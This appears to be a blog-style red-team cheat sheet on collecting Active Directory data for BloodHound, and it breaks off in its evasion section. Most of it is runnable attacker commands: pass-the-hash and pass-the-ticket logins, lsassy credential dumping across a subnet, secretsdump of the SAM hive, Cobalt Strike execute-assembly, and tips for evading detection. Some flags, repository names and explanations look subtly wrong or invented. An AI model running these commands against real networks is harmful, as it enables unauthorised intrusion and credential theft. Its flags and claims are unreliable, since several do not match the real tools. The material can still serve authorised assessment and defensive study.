ᛉ Yggdrasil

Active Directory

BloodHound Data Collection

15 Sep 2026 · 5,854 words · 27 min

Contents

Legend: [REMOTE] = Remote collection from attacker machine | [LOCAL] = Local collection on target | [NATIVE] = Uses Windows native tools/APIs | [PYTHON] = Python-based injector | [RUST] = Rust-based injector | [CSHARP] = C#/.NET based | [HYBRID] = Mix of local + remote


1. BloodHound Fundamentals

What BloodHound Collects

BloodHound ingestors collect:

  • User Objects: SID, login times, group memberships, SPNs, UAC flags, password never expires, LAPS
  • Computer Objects: OS, enabled/disabled status, LAPS, OS version, local admins, sessions
  • Group Objects: Members, properties, group scopes (global/domain local/universal)
  • Domain Properties: Functional level, trusts, ADCS, GPOs, site topology
  • ACL Data: Permissions, rights, delegation relationships (DCSync, RBCD, constrained delegation)
  • Kerberos Info: SPN abuse vectors, delegation trust relationships
  • ADCS: Certificate templates, issuance policies, enrollment rights (ESC detection)

Collection Phases

  1. Reconnaissance: Identify domain structure, DCs, sites, trusts
  2. Enumeration: Query AD for users, computers, groups, ACLs
  3. Relationship Mapping: Build attack paths (ACL chains, delegation, trust exploitation)
  4. Ingestion: Convert data → JSON → Import into BloodHound GUI

2. Data Collection Overview

Method Stealth Speed Coverage Ease Auth Required
bloodhound-python Medium Fast Complete Easy Yes
NetExec Medium-High Fast Good Easy Yes
BloodyAD High Medium Selective Medium Yes
Rusthound High Very Fast Complete Medium Yes
SharpHound (native) Low Fast Complete Hard Yes
Windows native tools Very High Slow Partial Hard Local/SYSTEM
PowerShell/WMI Low Medium Good Hard Local/SYSTEM
LDAP direct queries High Medium Complete Medium Yes

3. bloodhound-python (Python)

Type: [REMOTE] [PYTHON] — Best for initial reconnaissance and complete data gathering.

Installation & Setup

# Install from pip
pip install bloodhound

# Or from source
git clone https://github.com/dirkjanm/BloodHound.py
cd BloodHound.py
pip install -e .

# Verify installation
bloodhound-python --help

Basic Usage

# Minimal — collect all data against DC
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10

# With output directory
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 -o /tmp/bh_output/

# Enumerate specific collection types
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -c User,Computer,Group,ACL,Trusts,LoggedIn,Session,GPOAclEditor,Container

Detailed Options

# --- Authentication Variations ---

# With NTLM hash (pass-the-hash)
bloodhound-python -u attacker -p ':aabbccdd112233445566778899aabbcc' -d domain.local -dc 192.168.1.10

# With Kerberos ticket (ticket passing)
export KRB5CCNAME=/tmp/attacker.ccache
bloodhound-python -u attacker -d domain.local -dc 192.168.1.10 -k

# Anonymous (limited data)
bloodhound-python -u '' -p '' -d domain.local -dc 192.168.1.10 --allow-cleartext

# --- Collection Flags ---

# All collections
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -c All --zip

# Specific collections (comma-separated, no spaces)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -c User,Computer,Group,ACL,Trusts,ADCS,GPOAclEditor,Session,LoggedIn,Container

# LocalAdmin collection (requires elevated access)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -c User,Computer,Group,ACL,Trusts,ADCS,LocalAdmin

# Session collection (network enumeration)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -c Session,LoggedIn

# --- Networking & Targeting ---

# Specific domain controller
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10

# LDAP server alternative to DC
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  --ldapserver ldap.domain.local

# GC (Global Catalog) for cross-domain data
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  --use-gc

# Custom LDAPS (LDAP over SSL)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  --protocol ldaps

# DNS lookup for DC discovery
bloodhound-python -u attacker -p 'Pass123!' -d domain.local

# --- Performance & Stealth ---

# DNS queries (no direct DC contact for some data)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  --use-dns

# No reverse DNS lookups
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  --no-dns

# Throttle queries (delay between requests for stealth)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  --throttle 100  # milliseconds

# No kerb preauth
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  --no-preauth

# --- Output & Formatting ---

# Write to directory
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -o /tmp/bh_data/

# JSON format (default, can import to GUI)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -o /tmp/bh_data/ -c All

# Zip output automatically
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -o /tmp/bh_data/ --zip

# --- Multi-Domain Scenarios ---

# Single command for multiple domains
for domain in domain1.local domain2.local; do
  bloodhound-python -u attacker@$domain -p 'Pass123!' -d $domain -dc $(dig +short $domain SRV | head -1 | awk '{print $NF}')
done

# Or using trusts
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  --use-gc  # GC enumerates all domains in forest

Collection Types Explained

Flag Collects Notes
User User objects, SPNs, group memberships Enabled/disabled, password policies
Computer Computer objects, OS, sessions Local admins (if enabled), LAPS
Group Group objects, scope, members Nested groups, scopes
ACL DACLs on all objects GenericAll, WriteDACL, DCSync rights
Trusts Domain trusts, trust direction, SIDs Forest trusts, external trusts
ADCS Certificate templates, enrollment rights Identifies ESC1-ESC11 misconfigurations
GPOAclEditor GPO permissions, ACLs on GPOs WriteProperty, GenericWrite detection
LocalAdmin Local admin group members (SMB enumeration) Requires network access to all computers
Session Active sessions on computers (NetSess API) Who's logged in where
LoggedIn Session enumeration via registry hives Same as Session, alternative method
Container OU structure, inheritance, scope Important for understanding policy scope
PSRemote PSRemoting permissions WinRM-based lateral movement

Advanced Scenarios

# --- Cross-Domain Collection (All Forest) ---
bloodhound-python -u 'forest_user@domain.local' -p 'Pass123!' -d domain.local \
  -dc 192.168.1.10 --use-gc -c All

# --- Low-Privilege User Collection ---
# With only Network Logon privilege (no LDAP bind auth required in some cases)
bloodhound-python -u 'lowpriv@domain.local' -p 'SimplePass!' -d domain.local \
  -dc 192.168.1.10 -c User,Computer,Group,Trusts

# --- Null Session (No Credentials) ---
# Limited; usually blocked in modern AD
bloodhound-python -u '' -p '' -d domain.local -dc 192.168.1.10 --allow-cleartext

# --- Remote Collection via Tunnels ---
# Via SSH tunnel to DC
ssh attacker@pivot_host -L 389:192.168.1.10:389 &
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc localhost

# Via Ligolo-ng tunnel
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10
# (assumes Ligolo-ng tunnel is active)

Output Files

bh_output/
├── computers_*.json          # Computer objects
├── domains_*.json            # Domain properties
├── users_*.json              # User objects
├── groups_*.json             # Group objects
├── ous_*.json                # OUs
├── gpos_*.json               # Group Policy Objects
├── trusts_*.json             # Domain trusts
├── containers_*.json         # Containers
├── sessions_*.json           # Session data
└── <domain>_<timestamp>.zip  # All-in-one archive for import

4. NetExec / CrackMapExec

Type: [REMOTE] [PYTHON] — Multi-protocol enumeration, built-in BloodHound support.

Installation

# Install NetExec (newer, maintained)
pip install netexec

# Or CrackMapExec (older, still works)
pip install crackmapexec

# With database backend (optional, for caching results)
pip install netexec[sqlite]

Basic BloodHound Collection

# Basic SMB enumeration with BloodHound output
nxc smb 192.168.1.0/24 -u attacker -p 'Pass123!' -d domain.local -M bloodhound

# Specify DC IP for LDAP queries
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M bloodhound \
  --module-options BLOODHOUND=true

# Write to specific directory
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M bloodhound \
  --module-options BLOODHOUND=true OUTDIR=/tmp/bloodhound/

Extended Enumeration

# Enumerate all computers in domain
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
  --shares --computers

# Enumerate users and groups
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
  -M enum_users -M enum_groups

# Local admin discovery (on all computers in range)
nxc smb 192.168.1.0/24 -u attacker -p 'Pass123!' -d domain.local \
  --local-auth -M lsassy

# Session enumeration
nxc smb 192.168.1.0/24 -u attacker -p 'Pass123!' -d domain.local \
  -M enum_sessions

# LDAP-based user + group + ACL enumeration
nxc ldap 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
  --users --groups --gmsa

# Password policy enumeration
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
  -M enum_pwd_policy

Collection Modules

# List all available modules
nxc smb --list-modules

# LAPS enumeration
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M laps

# gMSA enumeration
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M gmsa

# PrintNightmare / Spooler enumeration
nxc smb 192.168.1.0/24 -u attacker -p 'Pass123!' -d domain.local \
  -M spooler

# Shadow Credentials (checks for ADCS + PKINIT)
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
  -M shadowcreds

# Delegation discovery
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
  -M enum_delegation

CrackMapExec Specific

# CrackMapExec still works for legacy setups
cme smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local --shares

# BloodHound module in CME
cme smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M bloodhound \
  -o BLOODHOUND=true

# Enumerate nested groups
cme smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
  -M enum_groups --groups "Domain Admins"

5. BloodyAD

Type: [REMOTE] [PYTHON] [HYBRID] — LDAP-focused, good for low-privilege collection + targeted queries.

Installation

pip install bloodyad

# Or from source
git clone https://github.com/CroweCybersecurity/BloodyAD
cd BloodyAD
pip install -e .

BloodHound Collection via BloodyAD

# List users
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object * --attr sAMAccountName,userPrincipalName,objectSid

# List computers
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object '*$' --attr sAMAccountName,objectSid,operatingSystem

# Dump all users with details
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object \* --filter '(objectClass=user)' --detailed

# Dump all groups
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object \* --filter '(objectClass=group)' --detailed

# Get domain info
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object DC=domain,DC=local --detailed

Targeted Enumeration

# Find all users with SPNs (Kerberoastable)
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object \* --filter '(servicePrincipalName=*)' --attr sAMAccountName,servicePrincipalName

# Find all accounts with "password never expires" flag
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object \* --filter '(userAccountControl:1.2.840.113556.1.4.803:=65536)' \
  --attr sAMAccountName

# Find LAPS-enabled computers
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object \* --filter '(ms-Mcs-AdmPwdExpirationTime=*)' --attr sAMAccountName

# Find gMSA accounts
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object \* --filter '(objectClass=msDS-GroupManagedServiceAccount)' --attr sAMAccountName

# Find service accounts with delegation enabled
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object \* --filter '(msDS-AllowedToDelegateTo=*)' --attr sAMAccountName,msDS-AllowedToDelegateTo

Custom LDAP Queries

# Get object from LDAP
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object "CN=Domain Admins,CN=Users,DC=domain,DC=local" --detailed

# Search with custom filter
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get search "(|(objectClass=user)(objectClass=computer))" --attr objectSid,distinguishedName

# Get ACLs on object
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get acl "CN=Domain Admins,CN=Users,DC=domain,DC=local"

# Get members of group
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get members "Domain Admins"

Custom JSON Output for BloodHound

# Export raw LDAP data to JSON
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object \* --filter '(objectClass=*)' | jq . > all_objects.json

6. Rusthound (Rust)

Type: [REMOTE] [RUST] — Fastest, minimal footprint, great for C2 environments.

Installation

# Download pre-built binary
wget https://github.com/NH-RED-TEAM/RustHound/releases/download/v2.0/rusthound-latest

# Or build from source
git clone https://github.com/NH-RED-TEAM/RustHound
cd RustHound
cargo build --release

Basic Usage

# Minimal invocation
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 -o /tmp/output/

# All collections
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
  -o /tmp/output/ --zip

# Collect only users and groups
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
  -o /tmp/output/ -c users,groups

Advanced Options

# --- Authentication Variants ---

# NTLM hash (pass-the-hash)
./rusthound -d domain.local -u attacker --hash aabbccdd112233445566778899aabbcc \
  --dc 192.168.1.10 -o /tmp/output/

# Kerberos ticket
./rusthound -d domain.local -u attacker -k --ccache /tmp/attacker.ccache \
  --dc 192.168.1.10 -o /tmp/output/

# --- Collection Flags ---

# Specific collections
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
  -o /tmp/output/ -c users,groups,computers,acls,trusts,adcs

# --- Performance & Output ---

# Multi-threaded (faster)
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
  -o /tmp/output/ -t 10  # 10 threads

# Stealth mode (slower, fewer queries)
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
  -o /tmp/output/ --stealth

# Zip output
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
  -o /tmp/output/ --zip

# JSON output (default)
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
  -o /tmp/output/ -f json

Rusthound vs bloodhound-python

Feature Rusthound bloodhound-python
Speed Very Fast (Rust) Fast (Python)
Binary Size Small (~10MB) Requires Python install
Dependencies Minimal Python 3.6+, libraries
C2 Friendly Yes Yes
Threading Native Limited
ADCS Enumeration Yes Yes
Session Collection Yes Yes

7. SharpHound (C# — Remote Compilation)

Type: [LOCAL] [CSHARP] [NATIVE] — Compiled C# injector, runs on Windows with .NET.

Remote Compilation Approach

# --- Option A: Compile on Linux/Mac with mono (not recommended) ---
apt-get install mono-complete
mcs /path/to/SharpHound.cs -out:SharpHound.exe

# --- Option B: Compile on Windows target (in-memory) ---
# Use DotNetToJScript or similar in-memory loader

# --- Option C: Download pre-compiled binary ---
wget https://github.com/BloodHoundAD/SharpHound/releases/download/v2.x/SharpHound.exe

Basic Usage (Windows)

# Collect all data
.\SharpHound.exe -c All

# Specific collections
.\SharpHound.exe -c User,Computer,Group,ACL,Trusts,ADCS,LocalAdmin

# Domain specification
.\SharpHound.exe -c All -d domain.local --dc 192.168.1.10

# Output directory
.\SharpHound.exe -c All -d domain.local --outputdir C:\temp\bh\

Advanced SharpHound Options

# --- Collection Flags ---
# Same as bloodhound-python

# --- Stealth Options ---

# Loop mode (keep collecting)
.\SharpHound.exe -c All -d domain.local --loop --loopdelay 3600

# Session enumeration via API (faster)
.\SharpHound.exe -c Session --sessionmethod api

# Throttle queries
.\SharpHound.exe -c All --throttle 100

# --- Performance ---

# Increase threads
.\SharpHound.exe -c All --maxthreads 20

# Exclude low-value data
.\SharpHound.exe -c User,Computer,Group,ACL,Trusts --nolocaladmin

Remote Compilation via C2

# Upload SharpHound source + compile in-memory
# Using Cobalt Strike
beacon> cd C:\Windows\Temp
beacon> upload /path/to/SharpHound.exe
beacon> execute-assembly SharpHound.exe -c All -d domain.local

# Or inline compile with Cradle
beacon> powershell .\Invoke-SharpHound.ps1 -c All

8. Windows Native Injectors

Type: [LOCAL] [NATIVE] [HYBRID] — Using built-in Windows tools (no external tools required).

8.1 PowerShell + Active Directory Module

Stealth Level: [LOW] — Logs event 4688, but useful for learning.

# Import AD module (requires RSAT or DC)
Import-Module ActiveDirectory

# Get all users
Get-ADUser -Filter * -Properties * | Select-Object Name,SamAccountName,SID,UserPrincipalName,Enabled

# Get all computers
Get-ADComputer -Filter * -Properties * | Select-Object Name,OperatingSystem,OperatingSystemVersion,Enabled

# Get all groups
Get-ADGroup -Filter * -Properties * | Select-Object Name,GroupScope,GroupCategory,Members

# Get domain info
Get-ADDomain | Select-Object *

# Get forest info
Get-ADForest | Select-Object *

# Get trusts
Get-ADTrust -Filter * | Select-Object Name,Direction,TrustType

# Find users with SPNs
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName | Select-Object Name,ServicePrincipalName

# Find LAPS-enabled computers
Get-ADComputer -Filter {ms-Mcs-AdmPwdExpirationTime -like "*"} -Properties Name,ms-Mcs-AdmPwdExpirationTime

# Export all to CSV for processing
Get-ADUser -Filter * -Properties * | Export-Csv -Path users.csv -NoTypeInformation
Get-ADComputer -Filter * -Properties * | Export-Csv -Path computers.csv -NoTypeInformation

8.2 LDAP Queries via .NET (C# / PowerShell)

Stealth Level: [MEDIUM-HIGH] — LDAP queries, harder to detect.

# --- PowerShell LDAP Query (No Module Required) ---

# Query users via LDAP
$ldap = "LDAP://domain.local"
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry($ldap)
$searcher.Filter = "(&(objectClass=user)(objectCategory=person))"
$users = $searcher.FindAll()
$users | ForEach-Object { $_.Properties }

# Query computers
$searcher.Filter = "(&(objectClass=computer)(objectCategory=computer))"
$computers = $searcher.FindAll()
$computers | ForEach-Object { $_.Properties }

# Query groups
$searcher.Filter = "(&(objectClass=group))"
$groups = $searcher.FindAll()
$groups | ForEach-Object { $_.Properties }

# Get ACLs on object
$dn = "CN=Domain Admins,CN=Users,DC=domain,DC=local"
$entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dn")
$acl = $entry.ObjectSecurity
$acl.Access | ForEach-Object { $_ }

8.3 ADSI (Active Directory Service Interfaces)

Stealth Level: [MEDIUM] — Traditional COM-based approach.

# Get root DSE for domain info
[System.DirectoryServices.DirectoryEntry]::new("LDAP://RootDSE").Properties

# Query entire domain
$root = [System.DirectoryServices.DirectoryEntry]::new("LDAP://DC=domain,DC=local")
$searcher = [System.DirectoryServices.DirectorySearcher]::new($root)
$searcher.Filter = "(objectClass=*)"
$searcher.FindAll() | ForEach-Object { $_ }

# Recursive group membership
function Get-GroupMembers($group) {
    $members = @()
    $groupObj = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$group")
    $groupObj.member | ForEach-Object {
        $member = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$_")
        $members += $member
        if ($member.Properties["objectClass"] -contains "group") {
            $members += Get-GroupMembers $_
        }
    }
    return $members
}

$admins = Get-GroupMembers "CN=Domain Admins,CN=Users,DC=domain,DC=local"
$admins | ForEach-Object { $_.Properties["samAccountName"] }

8.4 Command Line Tools (cmd.exe)

Stealth Level: [HIGH] — Native Windows binaries, minimal footprint.

REM Get domain info
dsquery user domainroot

REM Get all users
dsquery user -limit 0

REM Get all computers
dsquery computer -limit 0

REM Get group members
dsquery group -name "Domain Admins" | dsget group -members -expand

REM Get user properties
dsget user CN=username,CN=Users,DC=domain,DC=local -samid -sid -email

REM Query via LDAP filter
dsquery * domainroot -filter "(&(objectClass=user)(objectCategory=person))" -limit 0

REM Export to file
dsquery user -limit 0 > users.txt
dsquery computer -limit 0 > computers.txt

8.5 WMI (Windows Management Instrumentation)

Stealth Level: [MEDIUM] — Network-based WMI queries.

# Query local computer info
Get-WmiObject Win32_ComputerSystem

# Query OS info
Get-WmiObject Win32_OperatingSystem

# Query group members (local)
Get-WmiObject Win32_GroupUser | Where-Object { $_.GroupComponent.Name -eq "Administrators" }

# Remote WMI query (requires credentials + remote access)
$cred = Get-Credential
Get-WmiObject -Class Win32_ComputerSystem -ComputerName 192.168.1.50 -Credential $cred

# Get installed services
Get-WmiObject -Class Win32_Service

8.6 Registry Queries (for session data)

Stealth Level: [HIGH] — Direct registry access, can be cached locally.

# Get recent user logins (from registry)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" /s

# Get network shares
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares" /s

# Cached credentials (NTDS.dit equivalent on workstations)
# (Requires SYSTEM privileges)
reg query "HKEY_LOCAL_MACHINE\SAM"

# Last logon timestamps
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4688} -MaxEvents 1000 | 
  Select-Object @{N="User";E={$_.Properties[1].Value}}, TimeCreated | 
  Sort-Object TimeCreated -Descending

8.7 NetSess API (Session Enumeration)

Stealth Level: [HIGH] — Native network session enumeration.

# Using net session (requires local admin)
net session

# Via PSSession
$sessions = Get-PSSession
$sessions | Select-Object ComputerName,Id,State

# Remote session check (requires SMB + ADMIN$ share)
# Built into some native tools
net view \\targetcomputer /all

9. Hybrid Collection Chains

Chain 1: bloodhound-python + Manual Remediation

#!/bin/bash
# Step 1: Quick collection with bloodhound-python
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
  -c All --zip -o /tmp/bh1

# Step 2: Targeted queries with BloodyAD for missed ACL edges
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
  get object \* --filter '(|(adminCount=1)(userAccountControl:1.2.840.113556.1.4.803:=524288)))' \
  > /tmp/acl_details.txt

# Step 3: NetExec for session data
nxc smb 192.168.1.0/24 -u attacker -p 'Pass123!' -d domain.local \
  -M enum_sessions | tee /tmp/sessions.txt

# Step 4: Combine outputs manually or use a script to merge JSONs
python3 merge_bloodhound_data.py /tmp/bh1 /tmp/acl_details.txt /tmp/sessions.txt > final_output.json

Chain 2: Rusthound + Session Enumeration

#!/bin/bash
# Step 1: Fast collection with Rusthound
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
  -o /tmp/bh_rust/ --zip -t 20

# Step 2: Session enumeration via SMB
for comp in $(cat /tmp/computers.txt); do
  echo "[*] Checking sessions on $comp..."
  nxc smb $comp -u attacker -p 'Pass123!' -M enum_sessions
done >> /tmp/sessions_detailed.json

# Step 3: Merge
cat /tmp/bh_rust/computers_*.json >> final_data.json
cat /tmp/sessions_detailed.json >> final_data.json

Chain 3: PowerShell Native + Manual LDAP

# Step 1: AD Module collection
$users = Get-ADUser -Filter * -Properties *
$computers = Get-ADComputer -Filter * -Properties *
$groups = Get-ADGroup -Filter * -Properties *

# Export to JSON
$users | ConvertTo-Json | Out-File users.json
$computers | ConvertTo-Json | Out-File computers.json
$groups | ConvertTo-Json | Out-File groups.json

# Step 2: ACL enumeration via ADSI + custom PowerShell
$root = [System.DirectoryServices.DirectoryEntry]::new("LDAP://DC=domain,DC=local")
$searcher = [System.DirectoryServices.DirectorySearcher]::new($root)
$searcher.Filter = "(objectClass=*)"
$results = $searcher.FindAll()
$results | ForEach-Object { 
  $_.Properties
} | ConvertTo-Json | Out-File all_objects.json

# Step 3: Import to BloodHound manually via GUI
# (Copy JSON files to BloodHound import directory)

10. Authentication Methods

Method 1: Username + Password

# Clear text password
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10

# Prompt for password (interactive)
bloodhound-python -u attacker -d domain.local -dc 192.168.1.10
# (will prompt for password)

Method 2: NTLM Hash (Pass-the-Hash)

# bloodhound-python
bloodhound-python -u attacker -p ':aabbccdd112233445566778899aabbcc' \
  -d domain.local -dc 192.168.1.10

# NetExec
nxc smb 192.168.1.10 -u attacker -H aabbccdd112233445566778899aabbcc \
  -d domain.local -M bloodhound

# Rusthound
./rusthound -d domain.local -u attacker \
  --hash aabbccdd112233445566778899aabbcc --dc 192.168.1.10

# BloodyAD
bloodyad -u attacker -H aabbccdd112233445566778899aabbcc \
  -d domain.local --host 192.168.1.10

Method 3: Kerberos Ticket (Pass-the-Ticket)

# Generate ticket (via Rubeus on Windows or Impacket on Linux)
# Assume ticket is at /tmp/attacker.ccache

export KRB5CCNAME=/tmp/attacker.ccache

# bloodhound-python
bloodhound-python -u attacker -d domain.local -dc 192.168.1.10 -k

# NetExec
nxc smb 192.168.1.10 -u attacker -d domain.local -k

Method 4: AES Key (Pass-the-Key)

# If you have user's AES256 key from ADCS/Kerberos
export KRB5CCNAME=/tmp/attacker.ccache

# Use impacket's getTGT.py first
python3 getTGT.py -aesKey <AES256_KEY> domain.local/attacker

# Then use with -k flag
bloodhound-python -u attacker -d domain.local -dc 192.168.1.10 -k

Method 5: Null/Guest (Limited)

# No credentials (guest access)
bloodhound-python -u '' -p '' -d domain.local -dc 192.168.1.10 --allow-cleartext

# Unauthenticated LDAP (very limited)
bloodhound-python -u '' -d domain.local -dc 192.168.1.10

Method 6: Cached Credentials (SAM Hive)

# Extract from local SAM (requires SYSTEM on target)
# Use secretsdump.py or extract locally
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

# Use extracted hash with pass-the-hash
bloodhound-python -u <username> -p ':<hash>' -d domain.local -dc 192.168.1.10

11. Enumeration Flags & Options

Collection Targets

Flag Meaning BloodHound Requirement
All All collections Most complete
User User objects Yes
Computer Computer objects Yes
Group Group objects Yes
ACL Object ACLs Yes, most important
Trusts Domain trusts Yes
ADCS Certificate templates Optional, ESC detection
GPOAclEditor GPO permissions Optional
LocalAdmin Local admins on computers Optional (SMB enum)
Session Active sessions Optional (network enum)
LoggedIn Logged-in users Alternative to Session
Container OU structure Optional
PSRemote PS Remoting permissions Optional

Authentication Flags

Flag Purpose Example
-u Username -u attacker
-p Password (clear or hash) -p 'Pass123!' or -p ':hash'
-k Use Kerberos ticket -k
-d Domain -d domain.local
--dc Domain controller IP --dc 192.168.1.10
-H / --hash NTLM hash (NetExec) -H aabbccdd...
--use-gc Global Catalog (cross-domain) --use-gc
--protocol LDAP protocol (ldap/ldaps/gc) --protocol ldaps

Performance Flags

Flag Purpose Default
-t / --threads Thread count (Rusthound) 4
--throttle Query delay (ms) 0
--maxthreads Max threads (SharpHound) 20
--no-dns Skip DNS lookups false
--use-dns Force DNS queries false
--stealth (Rusthound) Stealth mode (slower) false
--loopdelay Delay between loops (s) 300

Output Flags

Flag Purpose Example
-o / --output Output directory -o /tmp/bh/
--zip Zip output files --zip
-f / --format Output format (json/etc) -f json
--outputdir (SharpHound) Output directory --outputdir C:\temp\

12. Data Analysis & Post-Collection

Step 1: Import to BloodHound GUI

# Copy JSON files to BloodHound uploads directory
# Linux: ~/.config/bloodhound/
# macOS: ~/Library/Application Support/bloodhound/
# Windows: %APPDATA%\BloodHound\

cp /tmp/bh_output/*.json ~/.config/bloodhound/

# Or import via GUI: Upload → Select ZIP file

Step 2: Built-in BloodHound Queries

# Critical attack paths
1. Shortest paths to Domain Admin
2. Shortest paths to High Value Targets
3. Find Principals with DCSync Rights
4. Find Principals with LAPS Read Rights
5. Find computers where Domain Users are Local Admin
6. Find AS-REP Roastable Users
7. Find Kerberoastable Users
8. Find Constrained Delegation Principals
9. Find Computers with Unconstrained Delegation
10. Find all Paths to Administrator Accounts
11. Find Shortest Paths to Domain Admin from Owned Principals
12. Find ACL abuse chains

Step 3: Custom Queries

# Cypher query: Find all ACEs granted to "attacker" user
MATCH (n)-[r:GenericAll|WriteDACL|WriteProperty|WriteOwner|Owns]->(m) 
WHERE n.name =~ "ATTACKER.*" 
RETURN n.name, type(r), m.name

# Find all users in Domain Admins
MATCH (n:User)-[r:MemberOf*]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN n.name

# Find computers with local admin access
MATCH (u:User)-[r:AdminTo]->(c:Computer)
RETURN u.name, c.name

# Find Kerberoastable users
MATCH (u:User)-[r:HasSPN]->(s)
RETURN u.name, s

# Find constrained delegation
MATCH (u:Computer)-[r:AllowedToDelegate]->(c:Computer)
RETURN u.name, c.name

# Find RBCD
MATCH (u:Computer)-[r:WriteAccountRestrictions]->(c:Computer)
RETURN u.name, c.name

Step 4: Export Results for Reporting

# Export query results from BloodHound
# (Via GUI: Export button on results)

# Or manually combine JSON data
python3 -c "
import json
import glob

data = {}
for f in glob.glob('/tmp/bh_output/*.json'):
    with open(f) as jf:
        data.update(json.load(jf))

with open('merged_output.json', 'w') as out:
    json.dump(data, out, indent=2)
"

13. Detection & Evasion

Detection Signatures

Activity Detection Mitigation
LDAP queries (high volume) Audit LDAP binds, query volume Throttle queries, use legitimate accounts
BloodHound-specific user agents HTTP headers, web logs Use generic user agents
Specific tool behavior patterns SIEM correlation Use native tools (PowerShell, cmd)
Cleartext credentials in logs Event logs, proxy logs Use tickets (Kerberos) or hashes (PTH)
Session enumeration (SMB) Audit SMB access Use delegated queries or stealthy enumeration
SharpHound execution .NET assembly logging, ETW Use in-memory execution, C2 loader

Evasion Techniques

# 1. Use legitimate accounts (not "attacker")
bloodhound-python -u service_account -p 'Pass123!' -d domain.local -dc 192.168.1.10

# 2. Throttle queries to avoid detection
